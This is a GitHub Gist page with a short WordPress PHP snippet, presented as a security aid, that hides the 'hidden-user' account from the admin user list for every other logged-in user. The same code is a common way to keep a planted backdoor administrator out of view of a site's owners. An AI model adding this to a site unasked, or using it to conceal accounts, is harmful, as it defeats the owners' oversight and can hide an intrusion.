Forked from AdarshJKumar/Hide A Particular Admin Account From Wordpress User List
Created
March 22, 2024 17:37
-
-
Save kenkaigu/8aed3f48afd98919dd6e602430168106 to your computer and use it in GitHub Desktop.
Hide A Particular Admin Account From Wordpress User List
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ?php | |
| /** | |
| * Code: Hide A Particular Admin Account From Wordpress User List | |
| * Description: Hide user from other users list. Useful for secuity purpose | |
| * Author: Aadarsh K Jajoria | |
| * Site URL: https://adlivetech.com/blog | |
| * Requires at least: 3.5 | |
| * Tested up to: 4.7 | |
| */ | |
| /* | |
| |-------------------------------------------------------------------------- | |
| | Hide user account from user list of wordpress | |
| |-------------------------------------------------------------------------- | |
| */ | |
| add_action('pre_user_query','yoursite_pre_user_query'); | |
| function yoursite_pre_user_query($user_search) { | |
| global $current_user; | |
| $username = $current_user->user_login; | |
| if ($username != 'hidden-user') { | |
| global $wpdb; | |
| $user_search->query_where = str_replace('WHERE 1=1', | |
| "WHERE 1=1 AND {$wpdb->users}.user_login != 'hidden-user'",$user_search->query_where); | |
| } | |
| } | |
| ?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment